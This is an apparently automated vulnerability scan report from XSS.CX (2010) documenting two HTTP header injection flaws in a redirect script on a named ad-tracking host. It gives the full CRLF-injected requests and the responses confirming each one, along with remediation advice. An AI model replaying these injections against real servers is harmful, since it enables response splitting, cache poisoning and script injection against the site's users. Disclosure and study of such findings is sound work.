Report generated by XSS.CX at Mon Nov 22 13:26:07 CST 2010.

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1. HTTP header injection

1.1. http://50.xg4ken.com/media/redir.php [name of an arbitrarily supplied request parameter]

1.2. http://50.xg4ken.com/media/redir.php [url[] parameter]


1. HTTP header injection
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://50.xg4ken.com/media/redir.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://50.xg4ken.com
Path:   /media/redir.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 914c0%0d%0a5ae8a0d6760 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /media/redir.php?prof=593&camp=15226&affcode=cr5943&cid=6211890421&networkType=content&url[]=http%3A%2F%2Fwww.perpetual.com.au%2Finvestors.aspx&914c0%0d%0a5ae8a0d6760=1 HTTP/1.1
Host: 50.xg4ken.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 20 Nov 2010 03:31:19 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Set-Cookie: kenshoo_id=0cb9eb0e-696a-22c8-5249-00007193de3f; expires=Fri, 18-Feb-2011 03:31:19 GMT; path=/; domain=.xg4ken.com
Location: http://www.perpetual.com.au/investors.aspx?914c0
5ae8a0d6760=1
P3P: policyref="http://www.xg4ken.com/w3c/p3p.xml", CP="ADMa DEVa OUR IND DSP NON LAW"
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

1.2. http://50.xg4ken.com/media/redir.php [url[] parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://50.xg4ken.com
Path:   /media/redir.php

Issue detail

The value of the url[] request parameter is copied into the Location response header. The payload 4c016%0d%0a04bb2c362b6 was submitted in the url[] parameter. This caused a response containing an injected HTTP header.

Request

GET /media/redir.php?prof=593&camp=15226&affcode=cr5943&cid=6211890421&networkType=content&url[]=http%3A%2F%2Fwww.perpetual.com.au%2Finvestors.aspx4c016%0d%0a04bb2c362b6 HTTP/1.1
Host: 50.xg4ken.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 20 Nov 2010 03:31:16 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Set-Cookie: kenshoo_id=555531e9-31c0-9dc9-aa49-0000346e4fb7; expires=Fri, 18-Feb-2011 03:31:16 GMT; path=/; domain=.xg4ken.com
Location: http://www.perpetual.com.au/investors.aspx4c016
04bb2c362b6
P3P: policyref="http://www.xg4ken.com/w3c/p3p.xml", CP="ADMa DEVa OUR IND DSP NON LAW"
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Report generated by XSS.CX at Mon Nov 22 13:26:07 CST 2010.